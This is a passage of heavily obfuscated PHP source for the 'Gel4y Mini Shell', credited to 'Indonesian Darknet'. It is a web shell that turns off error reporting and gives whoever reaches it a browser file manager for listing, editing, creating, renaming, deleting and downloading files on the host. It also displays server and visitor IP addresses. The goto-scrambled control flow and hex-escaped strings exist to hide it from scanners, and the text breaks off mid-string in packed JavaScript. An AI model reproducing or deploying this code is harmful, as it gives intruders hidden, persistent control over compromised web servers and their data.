"\x22\x20\144\x61\x74\141\55\164\x6f\147\x67\x6c\145\75\x22\164\x6f\x6f\x6c\x74\x69\160\x22\40\x64\x61\164\x61\55\160\154\141\x63\x65\155\145\156\x74\75\x22\141\x75\x74\x6f\42\x20\x74\x69\164\154\145\x3d\42\114\x61\x74\145\163\x74\40\x6d\157\144\x69\146\x79\40\157\156\40" . $DonJK[19]("\131\55\155\55\144\40\110\x3a\151", $DonJK[20]("{$BOQbZ}\57{$jFhrT}")) . "\x22\x3e\x3c\151\x20\143\x6c\x61\x73\163\x3d\42\146\141\40\x66\x61\55\146\167\40\146\x61\55\x66\x6f\154\144\x65\x72\42\x3e\x3c\57\151\x3e\40{$jFhrT}\74\57\x61\76\x3c\x2f\164\x64\76\x20\11\x9\11\x9\11\11\74\x74\x64\76\116\x2f\101\x3c\57\x74\x64\x3e\x20\x9\x9\11\11\x9\x9\74\164\144\x3e\x3c\x66\x6f\156\x74\x20\x63\157\154\157\x72\75\42" . ($DonJK[8]("{$BOQbZ}\57{$jFhrT}") ? "\43\x30\60\146\x66\x30\60" : (!$DonJK[9]("{$BOQbZ}\57{$jFhrT}") ? "\162\x65\144" : null)) . "\42\x3e" . Hohlu("{$BOQbZ}\57{$jFhrT}") . "\x3c\x2f\x66\x6f\x6e\164\x3e\74\57\164\144\76\40\x9\11\x9\11\x9\x9\x3c\x74\144\76\40\11\11\11\x9\x9\x9\11\74\x61\40\x68\x72\145\146\x3d\42\x3f\x70\x3d" . BcXvE($BOQbZ) . "\46\x61\75" . bcxve("\x72\145\156\x61\155\x65") . "\46\x6e\75" . bcXve($jFhrT) . "\46\164\x3d\x64\42\x20\144\x61\164\x61\x2d\164\157\x67\x67\154\x65\x3d\x22\164\157\x6f\x6c\x74\x69\160\x22\x20\144\141\164\141\x2d\160\154\x61\x63\145\x6d\x65\156\x74\x3d\x22\x61\165\164\x6f\x22\x20\x74\x69\164\154\x65\75\x22\122\145\156\141\x6d\145\x22\76\74\151\x20\x63\154\141\x73\x73\75\42\146\x61\x20\x66\141\55\146\x77\x20\x66\x61\55\160\145\x6e\143\151\154\42\76\74\x2f\x69\76\74\57\141\76\x20\11\11\11\11\x9\11\11\x3c\x61\40\150\162\145\146\75\x22\77\160\75" . BcxVe($BOQbZ) . "\x26\x61\x3d" . BcxVE("\144\145\x6c\145\164\145") . "\x26\x6e\75" . BCXVE($jFhrT) . "\42\40\x63\x6c\141\163\x73\75\x22\144\x65\154\x65\164\x65\x22\40\144\x61\164\x61\55\164\x79\x70\x65\x3d\42\x66\x6f\x6c\144\x65\162\x22\x20\x64\141\x74\x61\55\x74\x6f\147\147\154\x65\x3d\42\164\x6f\157\154\164\x69\x70\42\40\144\141\x74\141\55\160\154\141\x63\145\x6d\145\156\x74\75\42\141\x75\164\x6f\42\40\x74\x69\x74\x6c\145\75\42\x44\x65\154\145\x74\x65\x22\76\x3c\x69\40\143\154\141\x73\163\x3d\x22\146\141\40\x66\141\55\x66\x77\x20\146\141\55\x74\x72\x61\163\x68\x22\76\74\x2f\x69\x3e\74\57\141\x3e\x20\11\x9\11\11\11\x9\74\x2f\164\144\76\40\x9\11\11\x9\11\74\x2f\164\162\x3e"; goto npTiy; f3W0h: goto KS5cW; goto e9fJf; urxhS: CfXNS: goto CivyO; e9fJf: QQlRA: goto jnwot; onveJ: FDTUy: goto Mnhow; rEf9C: siURE: goto Ypu2I; Mnhow: goto LNd3J; goto m3xt4; QskYv: Zjcp6: goto tFAz_; qTmtM: F8sWd: goto GMJuL; MH_7d: KS5cW: goto fFAns; jnwot: if (!$DonJK[6]("{$BOQbZ}\57{$jFhrT}")) { goto siURE; } goto OTo6t; npTiy: goto CfXNS; goto qTmtM; raLDY: goto QQlRA; goto urxhS; OTo6t: goto Y1ywC; goto rEf9C; tLaXN: } goto o3Ty8; k3vB3: uWoK1: goto tWpIC; MmPyn: error_reporting(0); goto Bddxu; qmKTT: $RK3Lh = 0; goto ACl07; ND7_6: p6FaW: goto jpguY; V2Y08: VT3sL: goto bHZOC; OXl_6: goto Qt5eF; goto ZY9fe; DFu_K: goto lQAuh; goto BElF0; nGo_4: HZWT3: goto aJeFz; bGKc0: goto uWoK1; goto uxR0w; qzWez: echo "\74\57\x74\145\170\x74\x61\162\x65\141\x3e\74\x2f\x64\x69\x76\x3e\40\x9\x9\11"; goto tnwgQ; uO5im: YnYy2: goto dseok; P2PtM: echo "\x3c\57\x61\x3e\74\57\x68\x33\x3e\74\57\x64\151\166\x3e\40\x9\11\x9\x3c\144\151\x76\x3e\x20\x9\11\x9\11\74\163\x70\x61\x6e\76\x50\x48\x50\x20\x56\145\x72\x73\x69\x6f\x6e\x20\72\40"; goto NKFf7; j8KPT: XhYz7: goto JMAKY; I4_rk: zqVcp: goto B8qLS; AN4i3: SDEyJ: goto W0pxp; m6uR7: echo "\40\11\x9\74\x2f\x64\x69\x76\x3e\40\11\74\57\144\x69\x76\76\x20\11\74\141\162\164\x69\x63\x6c\x65\x20\143\154\x61\163\x73\x3d\x22\142\147\x2d\144\x61\162\x6b\40\x62\157\162\x64\145\162\x20\164\141\x62\154\x65\55\x72\x65\x73\x70\157\x6e\163\x69\x76\145\x2d\163\x6d\40\155\164\55\62\x22\x3e\x20\x9\11"; goto N53qs; WbZ4l: zcoNF: goto z7C2q; zB0Sz: goto aLTkr; goto ZJf1y; ojJ50: NOEd8: goto bWYiz; EV4fW: goto IhiOF; goto V2Y08; QGjOd: goto DwIws; goto IrBEp; MI40x: goto LwN0y; goto rH6TS; LHtas: goto OCpDN; goto ecbYp; Iq_Ih: echo RxVHF($_GET["\156"]); goto nCPLG; W5Um0: goto Ypa37; goto YVRBa; Z4lyY: goto whEk3; goto pixAf; no8qY: StZgI: goto Mk5Ev; si6ms: Cxrv8: goto I1n8Z; NMGfo: goto oiOwi; goto dPm0h; CBMKl: echo "\40\11\74\57\x64\x69\x76\x3e\x20\x9\74\144\x69\166\40\x63\154\141\163\163\x3d\x22\x62\147\55\144\x61\x72\153\40\142\157\162\144\145\x72\x20\x74\141\142\154\145\55\162\145\x73\160\157\156\163\x69\166\x65\55\x73\155\x20\x6d\x74\55\x32\x22\x3e\40\x9\x9\x3c\144\151\166\x20\x63\154\x61\x73\163\75\42\155\x6c\x2d\62\42\40\163\x74\x79\154\x65\x3d\x22\146\x6f\156\164\x2d\163\x69\172\x65\x3a\61\x38\160\x78\x3b\x22\76\40\x9\x9\x9\x3c\163\x70\x61\156\76\120\x61\x74\x68\x3a\40\x3c\x2f\x73\x70\141\x6e\76\40\11\11\11"; goto C4nQL; JMAKY: header("\x43\x6f\156\x74\145\x6e\164\55\124\x79\160\x65\x3a\40\x61\x70\160\x6c\151\143\141\x74\x69\x6f\x6e\x2f\157\x63\x74\x65\164\x2d\163\x74\162\x65\x61\155"); goto W5Um0; VkHTa: goto nqpBr; goto EqnVQ; VyebT: x3y0T: goto DYdRD; jpguY: $kdhG6 = $DonJK[5]($kdhG6($BOQbZ), ["\56", "\x2e\x2e"]); goto lNYMj; vt_bf: oiOwi: goto qFWdC; yDAfm: if ($DonJK[12]($Sf1mu)) { goto C_NX5; } goto KfU3u; Vbh91: XL9DZ: goto Wmr1Y; bboqf: FIIiU: goto MPjV1; zMBaT: goto xiBl2; goto OcD6l; Fn_Ms: BoH1j: goto Np2C_; kxRq3: OCpDN: goto aZOaE; ACl07: goto IAY6m; goto K9Mmi; ibAZ8: McJWU: goto xl0bF; GZ2Oy: feQzq: goto oWzL7; AB2Yg: sO04Q: goto fvG7R; SeG2J: echo BCXve($BOQbZ) . "\x26\x61\75" . bcXVe("\x6e\145\167\x44\151\x72"); goto LHtas; MK7Uh: goto V8VGm; goto A1Qwz; zYzH8: goto Qv1F8; goto EVOzP; JjZWV: iRFuK: goto GwHOy; ZGdwT: goto onL2t; goto aVRU9; skQeq: echo "\42\76\74\x2f\x64\x69\x76\x3e\x3c\144\x69\x76\40\x63\x6c\141\x73\163\75\42\x66\157\x72\155\55\147\162\157\165\160\42\x3e\74\x62\165\164\x74\157\156\x20\x74\171\x70\145\75\42\x73\165\142\x6d\151\x74\x22\40\x6e\x61\x6d\x65\75\42\163\x22\40\x63\x6c\141\x73\x73\75\x22\142\x74\156\40\142\164\156\55\157\x75\164\x6c\x69\156\x65\x2d\154\x69\147\x68\164\x20\x72\157\x75\156\144\145\144\55\60\42\x3e\123\141\166\145\74\57\x62\165\164\164\x6f\156\76\74\57\x64\151\166\x3e\x3c\x2f\x66\157\x72\x6d\x3e\x20\11\11\11"; goto bGKc0; i3IGd: mU0aJ: goto MmPyn; bVLFg: Qt5eF: goto hITYL; xATP2: goto k6YvO; goto laBdL; sN5bd: goto Wq61P; goto Te4XU; ZPv1y: u8S0A: goto C9QM_; R0Rbb: E00c6: goto SI_ni; RR6bz: FRKdl: goto RmT1c; gJkZS: NfYTc: goto dlraX; KfU3u: goto PUQl7; goto Nkef0; o3Ty8: Y2X0N: goto UtqQu; VNjEg: goto U9_cG; goto VyebT; qFWdC: header("\103\157\x6e\164\x65\x6e\x74\55\144\151\163\x70\x6f\x73\151\164\x69\157\x6e\x3a\x20\x61\164\x74\x61\143\x68\x6d\145\156\x74\73\x20\x66\x69\154\145\x6e\x61\155\145\75\42" . rXVHf($_GET["\156"]) . "\x22"); goto UE6zJ; Oc9YP: IhiOF: goto lkSiy; Te4XU: XLzTM: goto AwDMY; LOs6c: goto BoH1j; goto c5f6R; qQ_7k: bRzXv: goto kaXA9; JnYcB: goto Fl1b3; goto uble5; CoCjc: goto xwmGV; goto Fn_Ms; FBgde: if ($RK3Lh < count($ucRH5)) { goto rVdPh; } goto mrCnR; D5yFj: goto Cxrv8; goto cOfvF; ndOgs: echo "\74\x2f\150\x35\76\x20\x9\x9\11\74\x66\157\x72\155\x20\x6d\x65\x74\150\157\x64\x3d\42\160\x6f\x73\164\x22\76\74\144\151\x76\40\x63\154\x61\x73\x73\x3d\x22\146\x6f\162\x6d\55\147\x72\x6f\x75\160\42\76\74\154\141\x62\145\154\40\x66\157\x72\x3d\42\x6e\x22\x3e\x4e\x61\155\145\x20\x3a\x3c\57\x6c\141\142\x65\x6c\76\74\151\x6e\160\165\164\40\x74\171\x70\x65\x3d\42\164\x65\x78\x74\42\x20\156\141\x6d\145\75\x22\x6e\42\x20\x69\144\x3d\x22\x6e\x22\x20\x63\154\141\163\x73\x3d\x22\x66\x6f\x72\155\x2d\x63\157\156\164\162\157\x6c\x22\40\x76\141\x6c\x75\145\75\x22"; goto nxgqy; rJFvZ: X61Jn: goto qmKTT; aCaAN: $RK3Lh++; goto LOs6c; i9Nd9: goto uszyO; goto PCbqT; jeEJX: goto hdXpa; goto cwE9g; paQJK: goto G2d2w; goto OxkLp; ipuo1: H9_6d: goto mIaBA; Dg3z8: goto BrHMR; goto daHA1; txg1J: A3xtg: goto HE0qE; H8FHs: goto C_i3i; goto PPuzl; D1h_m: goto XLzTM; goto ibAZ8; FAncq: goto XQ_y0; goto rlsgJ; x1pIv: echo W5RHT; goto MI40x; ktnva: echo "\74\57\164\x65\170\164\141\x72\x65\141\x3e\74\x2f\144\151\166\76\74\144\x69\x76\40\x63\x6c\141\x73\x73\x3d\42\146\157\162\155\x2d\x67\162\x6f\x75\160\42\x3e\74\142\165\x74\164\x6f\156\40\x74\x79\x70\145\75\x22\163\165\142\155\x69\164\42\x20\156\x61\155\145\75\x22\x73\x22\40\x63\154\141\x73\x73\75\42\142\164\156\40\142\164\x6e\x2d\157\x75\164\x6c\x69\x6e\x65\x2d\154\x69\147\x68\x74\x20\x72\157\x75\x6e\x64\x65\144\x2d\x30\x22\x3e\x53\141\166\x65\74\57\x62\x75\164\x74\x6f\156\76\74\x2f\144\151\x76\x3e\74\x2f\146\157\x72\155\76\40\x9\x9\11"; goto lP45m; tS0CC: nXkPF: goto zqz0d; ZwXTI: NPZ9V: goto p8vxf; mK1j4: NmNI3: goto Uru2Q; mrCnR: goto xtDGL; goto YjSvF; oCCHR: goto ugQUD; goto QDoIh; xDefo: xtDGL: goto r_JVz; NKFf7: goto Slozo; goto HWUr5; s1PeF: KUiBV("\146\151\154\145\x20\x66\x61\x69\x6c\145\x64\x20\164\157\x20\165\x70\154\157\141\144", 0); goto aZsRX; fvG7R: $DonJK[3](rXVhF($_GET["\x70"])); goto QVlp9; xlXD4: tbDc3: goto I9EF_; umBAy: goto We6Yf; goto qQ_7k; vITvE: goto FRKdl; goto m2_pB; NL12F: kuiBV("\x66\x69\154\x65\40\x64\145\x6c\145\x74\x65\x64\x20\x73\165\143\x63\x65\163\163\x66\165\154\154\171"); goto VkHTa; SGyIW: echo $_GET["\164"] == "\x64" ? "\146\157\x6c\144\x65\x72" : "\x66\x69\x6c\x65"; goto jpdZy; hQ8Zi: kFQmS: goto O_u1g; Ibv2B: Fl1b3: goto W2FpB; Q3eP_: goto feQzq; goto gJkZS; gD7f6: goto mU0aJ; goto NJHuc; IbjV9: goto dnc9u; goto Cdl6i; VmMwg: goto tqFyH; goto LIbvZ; OT3O9: goto dBs8Y; goto klOdr; GCvF4: dpjnx: goto Iq_Ih; aDHqB: MYPAo: goto yDAfm; KCqK0: goto NeuD5; goto ovMr3; RqNcE: goto YnYy2; goto YvBkq; Vf4Hk: function bcXVe($ue_BJ) { goto lmyAW; EN8to: return $M_iAH; goto k9iOe; J8mqB: MCq2Y: goto EN8to; Z9Yk1: goto Q5u1W; goto xafrL; XWGjJ: s0Jew: goto CJjpf; I3ML4: goto cvxv8; goto HFuGX; SKBJu: goto o44sW; goto Z9Yk1; CJjpf: o44sW: goto qTf2_; N6fVj: cvxv8: goto nIzLT; LCFd2: w3Ui1: goto T7Zon; MJFor: yfgRL: goto YVQLo; KkZOA: goto n4Idy; goto UsZCu; xafrL: EDCum: goto Cn83m; migCO: n4Idy: goto SKBJu; g8DlO: goto mQn_l; goto PY7PB; G6ORf: $M_iAH .= dechex(ord($ue_BJ[$RK3Lh])); goto g8DlO; k9iOe: goto kH6YQ; goto Vq4Cs; SPk2U: goto Iml89; goto XWGjJ; T7Zon: $RK3Lh = 0; goto SCh3g; SCh3g: goto s0Jew; goto J8mqB; YVQLo: goto MCq2Y; goto N6fVj; Cn83m: if ($RK3Lh < strlen($ue_BJ)) { goto fR9FB; } goto GVepr; qTf2_: goto EDCum; goto Hgx7j; GVepr: goto yfgRL; goto thBjf; PY7PB: mQn_l: goto RcENF; Hgx7j: Iml89: goto G6ORf; Vq4Cs: kH6YQ: goto nu99P; RcENF: CWcsU: goto I3ML4; VfFN9: $M_iAH = ''; goto DWpxH; DWpxH: goto w3Ui1; goto LCFd2; HFuGX: Q5u1W: goto MJFor; thBjf: fR9FB: goto SPk2U; UsZCu: ZmwbY: goto VfFN9; nIzLT: $RK3Lh++; goto KkZOA; lmyAW: goto ZmwbY; goto migCO; nu99P: } goto KCqK0; emP1d: U40Jc: goto ZX37j; YVRBa: uszyO: goto Vup6Y; GVmT2: NN8g2: goto e1tij; DItCb: goto XL9DZ; goto FM1sT; p0KHI: goto KoiIr; goto chNtN; AYDSq: goto ymxQ8; goto FAncq; sLvmU: SGc6m: goto NdBRF; dPm0h: UOOgo: goto NL12F; h7VxL: goto SGc6m; goto liVvX; G_N1F: y_ygK: goto AlF1f; BElF0: PaJPd: goto pVnmx; liVvX: BrHMR: goto GzSi9; M1_rQ: xoEWK: goto QsJ7n; OxkLp: s09rV: goto qzWez; YiUUq: u_xpR: goto b6kcz; Yx21C: EPbEv: goto wAmn4; aJeFz: echo "\x20\11\11\11\74\x68\65\40\143\154\x61\163\163\75\x22\142\157\162\x64\x65\162\x20\x70\x2d\x31\x20\155\142\x2d\63\42\76\x4e\x65\x77\40\x66\157\x6c\x64\145\162\74\x2f\x68\65\76\40\11\11\x9\74\x66\x6f\x72\155\40\155\x65\x74\150\157\x64\x3d\x22\x70\157\x73\x74\42\x3e\x3c\x64\151\x76\40\143\x6c\x61\x73\163\x3d\x22\146\x6f\x72\x6d\x2d\147\x72\157\165\x70\42\x3e\x3c\154\x61\142\x65\x6c\x20\x66\x6f\x72\x3d\42\156\x22\x3e\x4e\x61\155\x65\40\72\x3c\57\154\x61\142\x65\x6c\76\x3c\x69\x6e\x70\165\164\x20\156\141\x6d\145\75\42\x6e\x22\x20\x69\144\x3d\42\156\x22\40\143\x6c\x61\x73\x73\75\x22\x66\157\x72\155\55\143\157\156\164\x72\157\x6c\x22\40\x61\165\164\x6f\x63\157\155\160\154\145\x74\145\x3d\42\157\x66\146\42\x3e\74\57\144\x69\x76\76\74\x64\x69\x76\x20\143\x6c\141\x73\x73\x3d\x22\x66\157\162\x6d\55\x67\x72\x6f\x75\160\x22\x3e\x3c\x62\165\164\164\x6f\156\40\x74\171\x70\x65\75\x22\163\165\142\x6d\x69\x74\42\x20\156\141\155\x65\x3d\x22\163\42\40\143\x6c\x61\163\x73\x3d\x22\142\x74\x6e\x20\x62\x74\156\x2d\x6f\x75\164\x6c\151\156\x65\55\x6c\x69\147\150\164\40\x72\x6f\165\x6e\x64\x65\144\55\x30\42\x3e\x43\162\x65\141\164\145\74\x2f\142\165\x74\164\157\x6e\x3e\x3c\x2f\x64\x69\x76\76\x3c\57\146\x6f\x72\x6d\x3e\x20\x9\11\11"; goto liLJ1; guPeK: echo $DonJK[18]($DonJK[14]($BOQbZ . "\57" . RXvhf($_GET["\156"]))); goto VSG6E; jkgI1: define("\127\x35\122\110\124", "\107\145\x6c\x34\x79\40\x4d\151\156\x69\40\x53\150\x65\154\x6c"); goto yUcjK; p8vxf: if (!($C8PpY == "\162\145\x6e\x61\x6d\x65")) { goto y1eR9; } goto MK7Uh; OXCBt: oHbmZ: goto bIH5V; zjGjD: goto ZuchO; goto zQooI; lP45m: goto mBePG; goto hQ8Zi; KxUgB: rQdNN: goto XWvEP; aOyWi: w0c5I: goto x1pIv; WkhYn: Zp6GW: goto guPeK; vkxyn: goto FIIiU; goto oZge9; sLpq4: function RXvhf($ue_BJ) { goto YZYeQ; Xkmsx: NC9Ui: goto hooD0; yJsqC: zNlXe: goto KNAwg; z3VL1: goto ILIoF; goto W8BOO; KsC8h: VBqsx: goto VdHlk; djqJu: $SdIhD = strlen($ue_BJ) - 1; goto n1yRD; FLppA: ME6VJ: goto SuWLX; oyMTI: BXs1v: goto Xkmsx; Tewhb: goto ARk6c; goto oyMTI; yL7z2: return $M_iAH; goto z3VL1; n1yRD: goto oWl0t; goto cP53V; KNAwg: if ($RK3Lh < $SdIhD) { goto seWSN; } goto cefH6; QmiUV: D25Lv: goto eWvxi; YZYeQ: goto ME6VJ; goto RJsx1; zrVpQ: pAzW2: goto yL7z2; cefH6: goto NC9Ui; goto jQnR8; Lnb9h: goto f9g6M; goto YfC5r; YfC5r: ARk6c: goto GXjyX; Pllqu: goto BXs1v; goto zrVpQ; fpNUA: eRa2m: goto djqJu; Qly8L: DNf2J: goto Xv8qd; cP53V: oWl0t: goto dimRz; hooD0: goto pAzW2; goto yJsqC; jQnR8: seWSN: goto UjHRI; VdHlk: $M_iAH .= chr(hexdec($ue_BJ[$RK3Lh] . $ue_BJ[$RK3Lh + 1])); goto Lnb9h; XJO9x: goto WtvLS; goto COfBK; K6QvG: ILIoF: goto EDg5E; eWvxi: goto gBTEL; goto KsC8h; Mh_Fb: goto eRa2m; goto K6QvG; UjHRI: goto VBqsx; goto FLppA; Xv8qd: goto zNlXe; goto fpNUA; RJsx1: f9g6M: goto QmiUV; COfBK: gBTEL: goto K0xek; K0xek: $RK3Lh += 2; goto Tewhb; SuWLX: $M_iAH = ''; goto Mh_Fb; dimRz: $RK3Lh = 0; goto XJO9x; GXjyX: goto DNf2J; goto Pllqu; W8BOO: WtvLS: goto Qly8L; EDg5E: } goto paQJK; YAno6: header("\x43\157\156\164\x65\156\x74\55\124\162\141\x6e\163\x66\x65\162\55\105\x6e\143\157\x64\x69\x6e\147\72\40\102\151\156\x61\162\171"); goto JAbkD; YBO3p: goto e7lPe; goto si6ms; qPkV6: C_i3i: goto lWVWz; pVnmx: echo "\x20\11\x9\11\74\x2f\164\142\x6f\x64\171\76\x20\11\x9\x3c\57\164\x61\142\154\145\x3e\40\x9\11"; goto Pdagt; ovMr3: m9UyE: goto M9aN6; S4YaN: goto GMq4d; goto BfPtf; R6fRX: We6Yf: goto ZCGmK; idfjQ: miPZd: goto OERFA; ABeUG: goto tbDc3; goto QW2A2; tLzI0: goto dCko8; goto j0v3R; IuG3u: goto Sfoc3; goto BZy5Y; c5f6R: RVl5q: goto skQeq; Goh6h: goto RvSHH; goto GmxRc; H0pVY: goto e2h3F; goto ipuo1; HcAZ2: goto dCko8; goto Z4lyY; ZX37j: goto XhYz7; goto k3vB3; i7nuP: echo $DonJK[1](); goto ABeUG; GzSi9: goto dCko8; goto xATP2; lkSiy: echo RXvhf($_GET["\156"]); goto zC6fG; EVOzP: xR7SB: goto eHw2p; erLb2: echo "\74\163\160\141\x6e\40\x69\144\75\x27\141\x6e\152\151\x6e\147\47\x20\163\x74\171\154\x65\x3d\x27\144\151\163\x70\154\x61\171\x3a\156\157\156\145\x3b\x27\76" . dirname(__FILE__) . "\74\57\x73\x70\141\x6e\76"; goto YFNSc; chNtN: GCpgv: goto erLb2; dfBR0: $BOQbZ = rxVhF($_GET["\x70"]); goto E28X1; EqnVQ: vdbQS: goto ylI5N; zW5_G: goto Rq1i3; goto XAZ3W; GmxRc: xsxhv: goto Vf4Hk; AlF1f: goto zcoNF; goto rJFvZ; gG4N3: isset($_POST["\163"]) ? $DonJK[12]("{$BOQbZ}\57{$_POST["\x6e"]}") ? kUibv("\x66\151\x6c\145\40\156\141\x6d\145\40\x68\141\163\x20\x62\145\145\156\40\165\163\x65\x64", 0, "\46\141\75" . BcXvE("\x6e\x65\167\x46\151\x6c\145")) : ($DonJK[13]("{$BOQbZ}\x2f{$_POST["\x6e"]}", $_POST["\143\x74\156"]) ? KuiBV("\x66\x69\154\145\x20\143\x72\145\141\x74\x65\x64\x20\x73\165\143\x63\x65\163\x73\x66\165\154\154\171", 1, "\46\141\x3d" . BcXve("\x76\151\145\x77") . "\46\x6e\75" . bcXve($_POST["\x6e"])) : KuiBv("\x66\151\154\145\x20\146\141\x69\154\145\144\x20\164\157\x20\143\x72\x65\x61\x74\x65", 0)) : null; goto Dg3z8; Pdagt: goto EPbEv; goto uN6qr; LxZsQ: ceV90: goto oG1qr; cH09i: goto Ieooc; goto cy9jP; XNAR1: goto qLO93; goto GYe3x; lrzL9: goto BIxw1; goto c__ie; E3OA1: goto A3xtg; goto jwAFC; RNJc3: echo "\x3c\57\163\160\141\156\x3e\x20\x9\11\x9\74\x66\x6f\x72\x6d\x20\x6d\x65\x74\x68\x6f\144\75\x22\x70\157\x73\x74\x22\x3e\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\42\x66\x6f\162\155\x2d\x67\162\x6f\x75\x70\x22\76\74\154\141\x62\x65\x6c\40\146\x6f\x72\75\42\x63\x74\x6e\42\76\x43\157\156\164\145\156\x74\x20\72\74\x2f\154\x61\x62\x65\154\x3e\x3c\x74\145\170\x74\x61\162\x65\x61\x20\156\x61\155\x65\x3d\42\143\x74\156\x22\x20\151\144\x3d\x22\143\164\x6e\x22\40\x63\157\154\x73\x3d\42\x33\60\x22\40\162\157\167\163\75\x22\x31\x30\x22\x20\143\x6c\x61\163\163\75\42\146\x6f\x72\155\55\x63\x6f\x6e\x74\x72\157\x6c\x22\x3e"; goto d0tTZ; lrYat: function kUIbV($JEKZy, $qBt1p = 1, $Sf1mu = '') { goto pnYzR; IbSv8: goto b5sYd; goto sHSqK; sHSqK: QMsCd: goto mZuJz; Fv9Eq: echo "\x3c\x73\143\162\x69\160\164\x3e\x73\167\x61\x6c\x28\173\164\151\164\154\x65\72\x20\x22{$glI31}\42\x2c\40\164\x65\x78\164\72\40\x22{$JEKZy}\x22\x2c\40\151\143\157\x6e\72\40\42{$glI31}\42\175\x29\56\x74\x68\145\156\x28\x28\x62\164\x6e\x43\154\151\143\x6b\51\40\75\x3e\x20\x7b\x69\x66\50\142\164\156\103\154\151\143\153\x29\x7b\x64\x6f\x63\x75\x6d\x65\156\164\56\x6c\157\143\141\164\x69\x6f\x6e\56\150\x72\x65\146\x3d\42\x3f\x70\75" . bcXvE($BOQbZ) . $Sf1mu . "\x22\x7d\175\x29\74\57\163\143\162\151\x70\x74\76"; goto ixEB1; ixEB1: goto QMsCd; goto W6Scm; dHKL2: $glI31 = $qBt1p == 1 ? "\163\165\143\143\x65\x73\163" : "\145\162\x72\x6f\x72"; goto X2JgG; W6Scm: TmUCo: goto rTo1m; SM8Cs: b5sYd: goto dHKL2; IUpyM: Zinji: goto Fv9Eq; X2JgG: goto Zinji; goto IUpyM; pnYzR: goto TmUCo; goto SM8Cs; rTo1m: global $BOQbZ; goto IbSv8; mZuJz: } goto Q4few; CvFR_: goto qckmy; goto YiUUq; zUSQy: goto KZGbo; goto WbZ4l; Uru2Q: goto VxZuX; goto ND7_6; cOfvF: c2fI7: goto htYy3; K9Mmi: zwFtd: goto ZouIq; UtqQu: goto x3y0T; goto Oc9YP; AwDMY: kUIBV("\146\x61\x69\x6c\145\x64\40\x74\157\40\144\145\x6c\x65\x74\x65\40\x74\150\145\x20\146\157\x6c\144\x65\162", 0); goto cH09i; zqz0d: header("\103\157\x6e\164\x65\156\x74\x2d\114\x65\156\147\164\x68\x3a\x20" . $DonJK[17](RxVHF($_GET["\x6e"]))); goto NMGfo; I1n8Z: KuIBV("\146\x6f\x6c\x64\145\x72\40\x64\145\x6c\145\x74\145\144\40\x73\165\143\143\x65\x73\x73\146\x75\154\154\x79"); goto KPXRm; oy0_2: IAY6m: goto dh5hK; oWzL7: echo "{$_SERVER["\x53\105\x52\x56\x45\122\x5f\x4e\x41\115\105"]}\40\x28{$_SERVER["\123\x45\122\x56\x45\x52\137\101\104\x44\x52"]}\x2f{$_SERVER["\122\105\x4d\117\x54\x45\x5f\101\x44\x44\x52"]}\x29"; goto zYzH8; KSMct: qUZxy: goto D6jND; OpeXD: GMq4d: goto D6ruU; JAbkD: goto nXkPF; goto ZwXTI; JpZAL: $RK3Lh++; goto Zf0rh; Ryhjw: hPgf8: goto dfBR0; ujaaP: goto zwFtd; goto I4_rk; cYZgr: Hkwuw: goto qipqc; l6mEQ: goto zqVcp; goto aXWe2; s0yA8: goto MPTLl; goto YBO3p; Gnwyp: goto z2m9O; goto JLADx; xdgwe: goto YwCbc; goto ejhLP; aBiA3: KZGbo: goto G_N1F; Cdl6i: hyf0n: goto M1_rQ; mSly9: e2h3F: goto ZsNeU; ycgTA: goto GC7_o; goto TSB6Y; bO2uz: xwmGV: goto dONs0; sjSF9: goto Zp6GW; goto Vbh91; D6jND: goto A3FQn; goto j8KPT; N62RK: goto kRnDw; goto kaFWS; y7PUp: goto gl4Hx; goto wY6Wk; wcqmj: raTGh: goto ndOgs; zQooI: L9o4d: goto sN5bd; GdoW7: IEHn0: goto uOTIg; t00D4: goto wkitJ; goto uO5im; e1tij: goto NPZ9V; goto aBiA3; CRF8p: goto tI4jI; goto r_2do; xC4iO: if (!($C8PpY == "\x6e\x65\x77\106\151\154\145")) { goto NN8g2; } goto Cg1o8; tVtk6: goto c2fI7; goto ojJ50; lQssr: echo "\x20\x9\x3c\x2f\x61\x72\x74\151\x63\154\145\76\x20\11\74\144\x69\166\x20\143\x6c\x61\163\163\x3d\42\x62\147\55\144\141\162\153\x20\142\x6f\x72\144\x65\x72\40\164\x65\170\164\55\143\145\x6e\x74\x65\162\x20\x6d\164\x2d\x32\x22\x3e\x20\x9\11\74\163\x6d\x61\x6c\x6c\x3e\103\x6f\x70\171\x72\151\x67\x68\x74\x20\46\143\x6f\160\171\x3b\40\x32\60\62\x31\x20\55\40\120\157\x77\x65\162\x65\x64\40\x42\x79\40\x49\156\144\157\156\145\x73\151\x61\x6e\40\104\x61\162\153\x6e\x65\x74\x3c\57\x73\155\x61\x6c\154\x3e\x20\11\74\57\144\x69\166\x3e\x20\x9\x3c\163\143\x72\151\160\x74\x20\163\162\143\75\x22\57\x2f\143\157\x64\145\x2e\152\x71\165\145\x72\171\56\143\157\x6d\x2f\152\161\x75\145\162\171\55\x33\56\65\56\x31\56\x73\154\151\155\x2e\x6d\151\156\56\152\x73\42\76\74\x2f\x73\x63\162\151\x70\x74\76\x20\11\x3c\163\x63\x72\x69\x70\x74\x20\x73\x72\x63\75\x22\x2f\x2f\x63\x64\x6e\56\x6a\163\x64\145\x6c\x69\166\162\x2e\x6e\145\x74\57\156\160\155\57\x62\157\x6f\164\163\164\162\x61\160\100\64\56\66\x2e\60\57\144\x69\163\164\x2f\x6a\163\57\x62\x6f\157\164\163\x74\x72\141\160\56\x62\165\156\x64\x6c\x65\56\155\151\156\x2e\152\163\x22\40\x3e\x3c\x2f\x73\x63\x72\151\160\x74\x3e\40\x9\74\163\143\162\151\160\x74\x20\163\x72\x63\x3d\x22\57\x2f\143\144\156\56\152\x73\144\x65\154\151\166\162\x2e\156\145\164\57\x6e\x70\x6d\x2f\142\163\55\x63\165\x73\164\x6f\155\x2d\x66\x69\154\145\x2d\151\156\x70\165\164\57\144\151\x73\164\x2f\142\163\55\x63\165\x73\x74\157\155\55\x66\151\x6c\x65\55\151\x6e\160\x75\x74\x2e\155\151\156\x2e\152\163\42\76\x3c\x2f\x73\x63\162\x69\160\x74\76\40\x9\x3c\x73\143\x72\x69\160\x74\76\145\x76\141\x6c\50\146\165\156\x63\x74\151\157\x6e\x28\x70\x2c\141\54\x63\x2c\x6b\x2c\x65\x2c\144\x29\x7b\145\75\146\165\156\x63\164\151\157\x6e\50\x63\51\173\x72\x65\164\x75\162\x6e\x28\143\74\x61\x3f\47\x27\72\145\x28\x70\141\162\x73\x65\111\x6e\164\x28\x63\57\141\51\51\x